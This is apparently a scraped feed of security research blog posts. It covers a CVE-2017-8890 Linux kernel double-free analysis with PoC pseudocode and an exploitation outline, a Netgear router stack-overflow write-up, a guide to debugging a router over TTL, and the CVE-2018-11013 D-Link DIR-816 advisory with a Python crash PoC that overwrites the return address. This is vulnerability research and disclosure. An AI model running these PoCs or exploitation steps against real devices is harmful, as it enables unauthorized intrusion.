我们分析一下漏洞补丁函数 <code class="highlighter-rouge">inet_csk_clone_lock</code>,用 understand 进行源码阅读,事半功倍,
可以生成函数调用关系图与结构体成员变量图,省去很多功夫,我们查看一下该函数的被调用关系:</p>
<p><img src="/images/2018-8-13/5.PNG" alt="" /></p>
<blockquote>
<p>对函数调用进行回溯发现漏洞函数是发生在 tcp 三次握手之后,创建 socket 的过程中。</p>
</blockquote>
<p><strong>net/ipv4/tcp_ipv4.c # 1266</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
* The three way handshake has completed - we got a valid synack -
* now create the new socket.
*/</span>
<span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">tcp_v4_syn_recv_sock</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">struct</span> <span class="n">sk_buff</span> <span class="o">*</span><span class="n">skb</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">request_sock</span> <span class="o">*</span><span class="n">req</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">dst_entry</span> <span class="o">*</span><span class="n">dst</span><span class="p">,</span>
<span class="k">struct</span> <span class="n">request_sock</span> <span class="o">*</span><span class="n">req_unhash</span><span class="p">,</span>
<span class="n">bool</span> <span class="o">*</span><span class="n">own_req</span><span class="p">)</span>
</code></pre></div></div>
<blockquote>
<p>创建新的 socket 对象时,复制了一个副本,</p>
</blockquote>
<p><strong>net/ipv4/inet_connection_sock.c # 644</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* inet_csk_clone_lock - clone an inet socket, and lock its clone
* @sk: the socket to clone
* @req: request_sock
* @priority: for allocation (%GFP_KERNEL, %GFP_ATOMIC, etc)
*
* Caller must unlock socket even in error path (bh_unlock_sock(newsk))
*/</span>
<span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="nf">inet_csk_clone_lock</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span>
<span class="k">const</span> <span class="k">struct</span> <span class="n">request_sock</span> <span class="o">*</span><span class="n">req</span><span class="p">,</span>
<span class="k">const</span> <span class="n">gfp_t</span> <span class="n">priority</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">newsk</span> <span class="o">=</span> <span class="n">sk_clone_lock</span><span class="p">(</span><span class="n">sk</span><span class="p">,</span> <span class="n">priority</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">newsk</span><span class="p">)</span> <span class="p">{</span>
<span class="p">...</span>
<span class="c1">// inet_sk(newsk)->mc_list = NULL;
</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<blockquote>
<p>接着是 <code class="highlighter-rouge">sk_clone_lock</code> 函数又调用了 <code class="highlighter-rouge">sock_copy</code> 函数进行复制,把原来 <code class="highlighter-rouge">socket</code> 对象所有的值赋值给了新的克隆对象。</p>
</blockquote>
<p><strong>net/core/sock.c</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/**
* sk_clone_lock - clone a socket, and lock its clone
* @sk: the socket to clone
* @priority: for allocation (%GFP_KERNEL, %GFP_ATOMIC, etc)
*
* Caller must unlock socket even in error path (bh_unlock_sock(newsk))
*/</span>
<span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="nf">sk_clone_lock</span><span class="p">(</span><span class="k">const</span> <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">sk</span><span class="p">,</span> <span class="k">const</span> <span class="n">gfp_t</span> <span class="n">priority</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">newsk</span><span class="p">;</span>
<span class="n">bool</span> <span class="n">is_charged</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
<span class="n">newsk</span> <span class="o">=</span> <span class="n">sk_prot_alloc</span><span class="p">(</span><span class="n">sk</span><span class="o">-></span><span class="n">sk_prot</span><span class="p">,</span> <span class="n">priority</span><span class="p">,</span> <span class="n">sk</span><span class="o">-></span><span class="n">sk_family</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">newsk</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">sk_filter</span> <span class="o">*</span><span class="n">filter</span><span class="p">;</span>
<span class="n">sock_copy</span><span class="p">(</span><span class="n">newsk</span><span class="p">,</span> <span class="n">sk</span><span class="p">);</span>
<span class="p">...</span>
<span class="p">}</span>
<span class="p">...</span>
<span class="cm">/*
* Copy all fields from osk to nsk but nsk->sk_refcnt must not change yet,
* even temporarly, because of RCU lookups. sk_node should also be left as is.
* We must not copy fields between sk_dontcopy_begin and sk_dontcopy_end
*/</span>
<span class="k">static</span> <span class="kt">void</span> <span class="n">sock_copy</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">nsk</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">sock</span> <span class="o">*</span><span class="n">osk</span><span class="p">)</span>
<span class="p">{</span>
<span class="cp">#ifdef CONFIG_SECURITY_NETWORK
</span> <span class="kt">void</span> <span class="o">*</span><span class="n">sptr</span> <span class="o">=</span> <span class="n">nsk</span><span class="o">-></span><span class="n">sk_security</span><span class="p">;</span>
<span class="cp">#endif
</span> <span class="n">memcpy</span><span class="p">(</span><span class="n">nsk</span><span class="p">,</span> <span class="n">osk</span><span class="p">,</span> <span class="n">offsetof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span><span class="p">,</span> <span class="n">sk_dontcopy_begin</span><span class="p">));</span>
<span class="n">memcpy</span><span class="p">(</span><span class="o">&</span><span class="n">nsk</span><span class="o">-></span><span class="n">sk_dontcopy_end</span><span class="p">,</span> <span class="o">&</span><span class="n">osk</span><span class="o">-></span><span class="n">sk_dontcopy_end</span><span class="p">,</span>
<span class="n">osk</span><span class="o">-></span><span class="n">sk_prot</span><span class="o">-></span><span class="n">obj_size</span> <span class="o">-</span> <span class="n">offsetof</span><span class="p">(</span><span class="k">struct</span> <span class="n">sock</span><span class="p">,</span> <span class="n">sk_dontcopy_end</span><span class="p">));</span>
<span class="cp">#ifdef CONFIG_SECURITY_NETWORK
</span> <span class="n">nsk</span><span class="o">-></span><span class="n">sk_security</span> <span class="o">=</span> <span class="n">sptr</span><span class="p">;</span>
<span class="n">security_sk_clone</span><span class="p">(</span><span class="n">osk</span><span class="p">,</span> <span class="n">nsk</span><span class="p">);</span>
<span class="cp">#endif
</span><span class="p">}</span>
</code></pre></div></div>
<p>但是在后面初始化的过程中没有对 <code class="highlighter-rouge">mc_list</code> 对象初始化,而在释放过程中原 <code class="highlighter-rouge">socket</code> 的 <code class="highlighter-rouge">mc_list</code> 成员被多次引用,
则会对 <code class="highlighter-rouge">mc_list</code> 对象多次释放。我们来看看该对象从创建到释放的过程。</p>
<p>通过源码分析与搜索引擎,得知 <code class="highlighter-rouge">mc_list</code> 对象代表的是组播列表,其结构体如下:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* ip_mc_socklist is real list now. Speed is not argument;
this list never used in fast path code
*/</span>
<span class="k">struct</span> <span class="n">ip_mc_socklist</span> <span class="p">{</span>
<span class="k">struct</span> <span class="n">ip_mc_socklist</span> <span class="n">__rcu</span> <span class="o">*</span><span class="n">next_rcu</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">ip_mreqn</span> <span class="n">multi</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">sfmode</span><span class="p">;</span> <span class="cm">/* MCAST_{INCLUDE,EXCLUDE} */</span>
<span class="k">struct</span> <span class="n">ip_sf_socklist</span> <span class="n">__rcu</span> <span class="o">*</span><span class="n">sflist</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">rcu_head</span> <span class="n">rcu</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>通过分析源码,查看其相关引用,可能在创建组播与加入组播时会创建 <code class="highlighter-rouge">mc_list</code> 对象,断在 <code class="highlighter-rouge">ip_mc_join_group</code> 看看</p>
<p><img src="/images/2018-8-13/6.PNG" alt="" /></p>
<p>那么调用链为:</p>
<p>用户态:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">setsockopt</span><span class="p">(</span><span class="n">MCAST_JOIN_GROUP</span><span class="p">)</span>
</code></pre></div></div>
<p>内核态:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SyS_setsockopt</span><span class="p">()</span> <span class="o">-></span> <span class="n">sock_common_setsockopt</span><span class="p">()</span> <span class="o">-></span> <span class="n">ip_setsockopt</span><span class="p">()</span> <span class="o">-></span> <span class="n">do_ip_setsockopt</span><span class="p">()</span> <span class="o">-></span> <span class="n">ip_mc_join_group</span><span class="p">()</span>
</code></pre></div></div>
<p>释放流程也可通过源码分析得出</p>
<p>用户态:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">close</span><span class="p">(</span><span class="n">sockfd</span><span class="p">)</span>
</code></pre></div></div>
<p>内核态:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sock_release</span><span class="p">()</span> <span class="o">-></span> <span class="n">inet_release</span><span class="p">()</span> <span class="o">-></span> <span class="n">tcp_close</span><span class="p">()</span> <span class="o">-></span> <span class="n">ip_mc_drop_socket</span><span class="p">()</span>
</code></pre></div></div>
<p>知道了漏洞产生的原因,漏洞在哪里产生,那么我们可以构造如下 <code class="highlighter-rouge">poc</code></p>
<p><strong>poc 伪代码</strong></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">sockfd</span> <span class="o">=</span> <span class="n">socket</span><span class="p">(</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">SOCK_STREAM</span><span class="p">,</span> <span class="n">IPPROTO_IP</span><span class="p">);</span>
<span class="n">setsockopt</span><span class="p">(</span><span class="n">server_sockfd</span><span class="p">,</span> <span class="n">SOL_IP</span><span class="p">,</span> <span class="n">MCAST_JOIN_GROUP</span><span class="p">,</span> <span class="o">&</span><span class="n">group</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">group</span><span class="p">);</span>
<span class="n">bind</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="n">xxx</span><span class="p">,</span> <span class="n">xxx</span><span class="p">);</span>
<span class="n">listen</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="n">xxx</span><span class="p">);</span>
<span class="n">accept_sockfd</span> <span class="o">=</span> <span class="n">accept</span><span class="p">(</span><span class="n">sockfd</span><span class="p">,</span> <span class="p">(</span><span class="k">struct</span> <span class="n">sockaddr</span><span class="o">*</span><span class="p">)</span><span class="o">&</span><span class="n">accept1_si</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">accept1_si</span><span class="p">));</span>
<span class="n">close</span><span class="p">(</span><span class="n">accept_sockfd1</span><span class="p">);</span> <span class="c1">// first free
</span><span class="n">sleep</span><span class="p">(</span><span class="n">xxx</span><span class="p">);</span>
<span class="n">close</span><span class="p">(</span><span class="n">accept_sockfd2</span><span class="p">);</span> <span class="c1">// second free
</span></code></pre></div></div>
<h1 id="summary">Summary</h1>
<p>网上暂时没有搜到完全有效的 exploit,但有一些讲解利用思路的文章以及在保护机制开启不完全下利用的文章,
经过一番尝试,发现该漏洞最终无法在 linux 上单独完成提权,缺少 kalsr 的绕过。</p>
<p>总的思路就是要在两次释放中间堆喷覆盖 <code class="highlighter-rouge">ip_mc_list</code> 结构体,该结构体中包含一个 <code class="highlighter-rouge">rcu_head</code> 对象,
而该对象刚好包含一个函数指针,从而劫持eip,之后可以直接 rop 提权,也可以先绕过 smep 执行 shellcode。</p>
<h1 id="reference">Reference</h1>
<ul>
<li>
<p><a href="http://www.freebuf.com/articles/terminal/160041.html">CVE-2017-8890漏洞分析与利用(Root Android 7.x)</a></p>
</li>
<li>
<p><a href="https://bbs.pediy.com/thread-226057.htm">CVE-2017-8890 深度分析</a></p>
</li>
<li>
<p><a href="https://xz.aliyun.com/t/2383">利用CVE-2017-8890实现linux内核提权: ret2usr</a></p>
</li>
<li>
<p><a href="http://eternalsakura13.com/2018/04/14/cve-2017-8890/">CVE-2017-8890调试笔记</a></p>
</li>
<li>
<p><a href="http://www.luojiaqs.top/2018/06/21/2018-06-21-CVE-2017-8890-ret2user/">CVE-2017-8890 分析</a></p>
</li>
</ul>0x3f97@gmail.comIntroductionA netgear router stack-based buffer overflow from discovering to exploit2018-07-16T00:00:00+00:002018-07-16T00:00:00+00:00https://0x3f97.github.io/exploit/2018/07/16/a-netgear-router-stack-based-buffer-overflow-from-discovering-to-exploit<h1 id="introduction">Introduction</h1>
<p>最近在研究一款型号比较老的netgear的路由器,记录一下整个漏洞从挖掘到利用的过程。</p>
<h1 id="firmware-analysis">Firmware Analysis</h1>
<p>首先对路由器固件进行解包,查看其中包含的可执行程序和文件,一般关注的点在 web server 和一些配置文件还有 web 目录。</p>
<p><img src="/images/2018-07-16-19-27-38.png" alt="" /></p>
<p>经过一番搜索,发现 <code class="highlighter-rouge">/usr/sbin</code> 目录下有一个 httpd 以及 telnetd,可以确定 httpd 作为路由的 web server,
并且路由是有 telnet 服务的。</p>
<p>现在就要想办法拿到路由的调试接口,一般是通过连接 telnet 后上传 gdbserver,用 gdb 来调试。</p>
<p>先看一下路由开了哪些服务,查看 nmap 扫描结果:</p>
<p><img src="/images/2018-07-17-11-19-56.png" alt="" /></p>
<p>发现其23端口是开启的,尝试连上去,但是没有任何反应。这里就遇到了一个 netgear 路由器的特性,经过搜集资料发现,
netgear 默认先启动 telnetenable 服务,该服务启动后会一直监听23端口,等待接受一个特定的key,该key由路由的MAC地址,
加上用户名和密码经过算法加密,如果验证通过后则会开启真正的 telnet 服务。网上已经有现成的工具用来解锁 netgear
的 telnet 服务,放在 <a href="https://github.com/insanid/netgear-telenetenable">github</a> 上。需要提一下的是,
解锁时使用的用户名和密码并不是路由的账户密码,而是在程序中指定的 “Gearguy Geardog”,可以对 telnetenable 进行逆向来确认。</p>
<p><img src="/images/2018-07-17-11-21-50.png" alt="" /></p>
<p>现在我们可以对路由上的服务进行调试了,就以 httpd 为目标,不过在这之前我们得先逆向分析一下程序的逻辑,结合黑盒测试,
找出可能存在漏洞的范围。</p>
<h1 id="null-point-reference">Null Point Reference</h1>
<p>这里我们不对后台功能进行测试,只对能够访问的范围进行测试,后台的漏洞需要结合其它绕过登陆的漏洞才能达成攻击效果,
影响力以及危害较小。现在要做的就是搜集默认可以访问的范围,可以把web目录下的html放到列表,用 burpsuite 的 intruder 模块
对列表里的url进行测试。对于有有效回显的页面,就是我们有权限访问的范围。但是仅仅是web目录下的一些 html 并没有多大作用,
还是得对二进制程序进行逆向分析,梳理出服务url处理逻辑,有哪些可控的函数。</p>
<p><img src="/images/2018-07-17-12-02-20.png" alt="" /></p>
<p>经过一段逆向分析,找到了函数的 cgi 列表,同样将这份列表添加到我们 intruder 的 target 中,进行自动测试。好消息是跑了没几分钟,
就触发了crash,burp 接收不到返回包了,这时查看一下路由上的进程,httpd 确实已经退出了。</p>
<p>我们来仔细看看触发 crash 的 url,以及 crash 的场景。
触发 crash 的 http 请求:</p>
<p><img src="/images/2018-07-17-13-21-58.png" alt="" /></p>
<p>我们先用 gdb attach 上去,等待 crash 触发。</p>
<p><img src="/images/2018-07-17-13-19-19.png" alt="" /></p>
<p>崩溃现场:</p>
<p><img src="/images/2018-07-17-13-22-21.png" alt="" /></p>
<p>可以看到是一个空指针引用触发的 crash,这样我们就发现了一个 DOS 漏洞 ^_^.</p>
<h1 id="overflow">Overflow</h1>
<p>其实前面的过程都比较简单,只是普通的测试一遍,还没有对代码逻辑进行深入挖掘。接下来我们对程序崩溃的地方进行深入分析,
看看能不能发现一些有趣的东西。在分析过程中我注意到了 websGetVar 函数,貌似是变量可控的,经过分析之后发现,我们可以通过这个函数,
往栈上写入 0xff 字节的内容。这里我产生了一个思路,找出所有调用这个函数的函数,通过判断目标缓冲区大小是否小于 0xff,
则可以找出时候存在溢出。用 ida 可以直接列出函数调用关系:</p>
<p><img src="/images/snp20180717141349738.png" alt="" /></p>
<p>可以用一个一个慢慢找,不过这样效率太低,我们使用 idapython 脚本对溢出进行判断,有关 idapython 推荐 <strong>The Beginner’s Guide to IDAPytho</strong>。</p>
<p><img src="/images/snp20180717141851552.png" alt="" /></p>
<p>wow,总共有三十多处溢出被检测到,我们在里面找一个不需要登陆验证就可以直接访问到的进行利用。</p>
<h1 id="exploit">Exploit</h1>
<p>利用一般有两种思路,一种是执行 shellcode 获取 shell,另外一种是调用 system 执行命令。一般我会习惯先尝试跳 shellcode,
不过这次不好找地方放 shellcode,web server 的全部操作从接收 http 包到后续的 url 处理都在栈上,并没有使用到堆,
所以 shellcode 只能放 栈上,而 ASLR的保护等级为 1,即栈地址是随机化的,这样就得像办法找 rop gadgets 跳栈地址。</p>
<p>这里还有一个问题,一般 post 数据都会被空字符截断,而代码段地址都是包含空字符的,意味着我们只能使用一次 rop。
在花了很长时间寻找合适的 gadgets 无果的情况下,经大佬提醒,验证了一下路由的 ASLR 是否真的开启,结果发现由于实现问题,
使得动态库的地址并未被随机化,意味着我们可以使用更多的 gadgets,形成 rop 链。接下来通过 ropper 找到了合适的 gadgets,调用 system,成功利用。</p>
<p><img src="/images/2018-07-14-21-20-20.png" alt="" /></p>0x3f97@gmail.comIntroductionDebug router with TTL2018-05-19T00:00:00+00:002018-05-19T00:00:00+00:00https://0x3f97.github.io/exploit/2018/05/19/debug-router-with-ttl<h1 id="introduction">Introduction</h1>
<p>一些路由器默认无法通过 telnet 或者 ssh 登录,除了可以对固件添加自定义后门后进行重打包,还可以通过路由器上提供的
TTL 或者 JTAG 来连接路由器,对其进行调试。</p>
<h1 id="flash-router-to-origin-firmware">Flash router to origin firmware</h1>
<p>如果路由器是刷过 openwrt 或者 ddwrt 的,无法直接通过 web 服务刷回原厂固件。最近入了个二手 netgear wndr3800,
详细信息可以看 openwrt 的 <a href="https://wiki.openwrt.org/toh/netgear/wndr3800">wiki</a>,支持 JTAG 和 Serial 即 TTL。
拿到手的时候别人已经刷好了 openwrt,而我们要对原厂固件进行测试就要刷回来。openwrt 默认是开启了 ssh 的,尝试
默认密码登录上去,可以 scp 或者 wget 上传原厂固件,上传后执行以下命令:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mtd <span class="nt">-rf</span> write WNDR3800-V1.0.0.52.img firmware <span class="c"># *** OpenWrt中执行 ***</span>
mtd <span class="nt">-r</span> write WNDR3800-V1.0.0.52.img linux <span class="c"># *** DD-Wrt中执行 ***</span>
</code></pre></div></div>
<p>之后路由器会重启,至电源灯闪烁绿灯时表示已开启 tftpd 服务等待 tftp 上传。其实不用 ssh 登录也行,开启电源时按住
reset 键不放,路由器电源灯先会黄灯闪烁然后等到绿灯闪烁时表示已开启 tftpd 服务,上传之前设置本机为静态ip:</p>
<p><img src="/images/05-19-18-1.png" alt="" /></p>
<p>设置好后 tftp 上传,路由器刷机就完成了。</p>
<p><img src="/images/05-19-18-2.png" alt="" /></p>
<h1 id="connect-with-ttl">Connect with TTL</h1>
<p>这款路由没找到 telnet 连的方式,尝试过 netgear telnetenable 的方法解锁 netgear 路由的 telent 服务,发现不行。
所以尝试用 TTL 连接。</p>
<p>其实也很简单,先对路由进行拆机,然后参考 openwrt 的 wiki,usb 转 ttl 线的 GND 插路由板上的 GND,TXD 插 RXD,
RXD 插 TXD,剩下电压接上 3.3V 的口,大概是这样子:</p>
<p><img src="/images/05-19-18-3.png" alt="" /></p>
<p>从右往左依次是 GND、RX、TX、VCC(3.3V)。</p>
<p>linux 平台下可以安装 minicom 软件连接串口,插上连接线后查看下 dev 目录,会出现 ttyUSB0:</p>
<p><img src="/images/05-19-18-4.png" alt="" /></p>
<p>安装配置 minicom:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>apt install minicom
<span class="nb">sudo </span>minicom <span class="nt">-s</span>
</code></pre></div></div>
<p><img src="/images/05-19-18-5.png" alt="" /></p>
<p>然后可以打开电源,等待启动完毕再连上 ttl:</p>
<p><img src="/images/05-19-18-6.png" alt="" /></p>
<p>这样我们就获得了一个 shell,可以上 gdbserver 对某一进程进行调试。</p>
<p>后续可以尝试 JTAG 连接调试,不过你需要准备好一个电烙铁 ^_^。</p>
<h1 id="reference">Reference</h1>
<ul>
<li>
<p><a href="https://www.myopenrouter.com/article/how-debrick-your-netgear-wnr3500l-using-ubuntu-1004-lucid-lynx">How to Debrick Your NETGEAR WNR3500L Using Ubuntu 10.04 Lucid Lynx</a></p>
</li>
<li>
<p><a href="https://wiki.openwrt.org/toh/netgear/wndr3800">Netgear WNDR3800 [OpenWrt Wiki]</a></p>
</li>
</ul>0x3f97@gmail.comIntroductionD-Link DIR-816 A2 (CN) router stack-based buffer overflow2018-05-13T00:00:00+00:002018-05-13T00:00:00+00:00https://0x3f97.github.io/exploit/2018/05/13/D-Link-DIR-816-A2-CN-router-stack-based-buffer-overflow<p><strong>This is the detail about CVE-2018-11013.</strong></p>
<h1 id="vulnerability-description">Vulnerability Description</h1>
<p>Stack-based buffer overflow in the websRedirect function in GoAhead on D-Link DIR-816 A2 (CN) routers with
firmware version 1.10B05 allows unauthenticated remote attackers to execute arbitrary code via a request with
a long HTTP Host header.</p>
<h1 id="vulnerability-detail">Vulnerability Detail</h1>
<p>The vulnerability exists in the websRedirect function in the GoAhead web server.</p>
<p>After access the router’s WiFi or router’s web service is opening on the Internet, send a GET request with
long HTTP Host header to sharefile function then triggers websRedirect function, and a piece of code do copy
Host header string to stack with no length limit locate on 0x41EAE4, so we could control the $pc register.</p>
<p><img src="/images/05-13-18-1.png" alt="" /></p>
<h1 id="poc">Poc</h1>
<p>A simple proving.</p>
<p>For the vendor’s security, we will not provide the full exploitation before this issue report was confirmed.</p>
<p><strong>[poc.py]:</strong></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c"># Tested product: DIR-816 (CN)</span>
<span class="c"># Hardware version: A2</span>
<span class="c"># Firmware version: v1.10B05 (2018/01/04)</span>
<span class="c"># Firmware name: DIR-816A2_FWv1.10CNB05_R1B011D88210.img</span>
<span class="c">#</span>
<span class="kn">import</span> <span class="nn">socket</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">p</span><span class="o">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"192.168.0.1"</span> <span class="p">,</span> <span class="mi">80</span><span class="p">))</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="s">"A"</span><span class="o">*</span><span class="mh">0x200</span> <span class="c"># *** Not the correct shellcode for exploit ***</span>
<span class="n">rn</span> <span class="o">=</span> <span class="s">"</span><span class="se">\r\n</span><span class="s">"</span>
<span class="n">strptr</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x60\x70\xff\x7f</span><span class="s">"</span>
<span class="n">padding</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x00\x00\x00\x00</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">"GET /sharefile?test=A"</span> <span class="o">+</span> <span class="s">"HTTP/1.1"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"Host: "</span> <span class="o">+</span> <span class="s">"A"</span><span class="o">*</span><span class="mh">0x70</span> <span class="o">+</span> <span class="n">strptr</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="s">"A"</span><span class="o">*</span><span class="mh">0x24</span> <span class="o">+</span> <span class="s">"</span><span class="se">\xb8\xfe\x48</span><span class="s">"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"Accept-Language: en-US,en;q=0.5"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"Accept-Encoding: gzip, deflate"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"Cookie: curShow=; ac_login_info=passwork; test=A"</span> <span class="o">+</span> <span class="n">padding</span><span class="o">*</span><span class="mh">0x200</span> <span class="o">+</span> <span class="n">shellcode</span> <span class="o">+</span> <span class="n">padding</span><span class="o">*</span><span class="mh">0x4000</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"Connection: close"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"Upgrade-Insecure-Requests: 1"</span> <span class="o">+</span> <span class="n">rn</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">rn</span>
<span class="n">p</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">print</span> <span class="n">p</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span>
</code></pre></div></div>
<p>With the full exploitation, we could get a reverse shell:</p>
<p><img src="/images/05-13-18-2.png" alt="" /></p>
<p><img src="/images/05-13-18-3.png" alt="" /></p>0x3f97@gmail.comThis is the detail about CVE-2018-11013.Dlink DIR-816 stack-based buffer overflow anaysis2018-05-11T00:00:00+00:002018-05-11T00:00:00+00:00https://0x3f97.github.io/exploit/2018/05/11/Dlink-DIR-816-stack-based-buffer-overflow-anaysis<h1 id="introduction">Introduction</h1>
<p>在 <a href="http://eternalsakura13.com/">sakura</a> 师傅的指导下开始尝试挖掘路由器的漏洞。</p>
<p>本文描述了作者对 Dlink DIR-816 A2 型号的路由器固件进行分析从触发 crash 到完整的漏洞利用过程,漏洞已提交厂商,
尚未获得厂商回复,安全起见这里只描述一下思路,不放出最终漏洞利用代码。</p>
<p>之前尝试 qemu 模拟路由器 web 服务运行达不到较好的效果,大部分无法直接运行。按照 0day 路由器那本书上的第一个
实验对象 DIR-815 的缓冲区溢出实验给出的步骤而进行环境修复最后勉强跑起来,但是无法响应请求。。,之后又试了下
totolink 的一款路由,环境修复后发现可以正常运行,尝试发送一个请求,然后惊奇的发现 web 目录是空的。。可能以我目
前的水平用 qemu 无法做到较好的调试。所以我就直接上京东看了下销量靠前的 D-link 路由器(看了下 D-link 的 cve
比较多可能比较好挖)然后买了个二手的 DIR-816,sakura 师傅说直接逆向开挖,然后就直接开始分析。</p>
<h1 id="firmware-analysis---trigger-crash">Firmware Analysis - trigger crash</h1>
<p>从 <a href="http://support.dlink.com.cn/ProductInfo.aspx?m=DIR-816">Dlink官网</a> 下载A2型号最新版本的固件,
对固件进行解包后浏览了下目录,发现 goahead web应用程序,直接开始逆向分析,从 main 函数入手,想着先找一个 auth
bypass 试试。这里不得不称赞一下ida pro,用 radare2 和 ida pro 分别分析了一下,ida 体现出了它符号分析与字符串
关联的强大之处,用 radare2 进行分析遇到变量之间进行计算之后得到的数据地址如一些字符串无法标注出来,甚至有些
字符串无法添加到字符串索引中,而 ida 则会将其相关联的字符串标注出来,对理解函数逻辑起到很好的帮助作用。</p>
<p>一开始程序只是做一些初始化的操作,比如启动各种服务,打印一些日志,然后配置网络,监听 80 端口。在处理各种 http
请求之前会先初始一个未登录用户 token, 保存在 <code class="highlighter-rouge">/etc/RAMConfig/tokenid</code> 中,想着这可能是一个有用的点,就先记着。</p>
<p><img src="/images/18-5-11-1.png" alt="" /></p>
<p>只靠静态分析这么干看着有些较长的逻辑脑子缓存不够,容易从中间断掉,所以一般还是比较喜欢静态浏览一遍,接着动态一
边调一边看看每个指令,观察每次操作寄存器、内存的变化。最新版的升级固件发行说明是提升无线性能,加强安全管理,
看了下发现其实是删掉了 telnetd,无法直接连上去然后传一个 gdbserver 上去 attach web 进程。不过它的上一个版本有
telnetd,就换成了旧的版本,至于新版本是否修补了旧版本的漏洞暂时不管,只想体验一下成功调试的感觉 T-T。</p>
<p>固件更换完之后设置开启telnetd,然后telnet 连上去空密码登录,tftp 传一个
<a href="https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver">gdbserver</a> ,github 上的这个 7.8 版本
莫名的好用,反而自己重新编译了跟自己 gdb 版本一致的连上去出错。</p>
<p><img src="/images/18-5-11-2.png" alt="" /></p>
<p>调试器选择的是 gdb + gef,用起来挺顺手,ida 和 radare2 也可以远程调试,但没有那么方便。</p>
<p><img src="/images/18-5-11-3.png" alt="" /></p>
<p>在 web server 运行中 attach 上去断在了监听 80 端口 socket 连接处。之前一部分初始化操作可以用 gdbserver 直接运行
查看调试,大致是初始了对各种功能请求的 UrlHander。</p>
<p>用 radare2 分析的结果:</p>
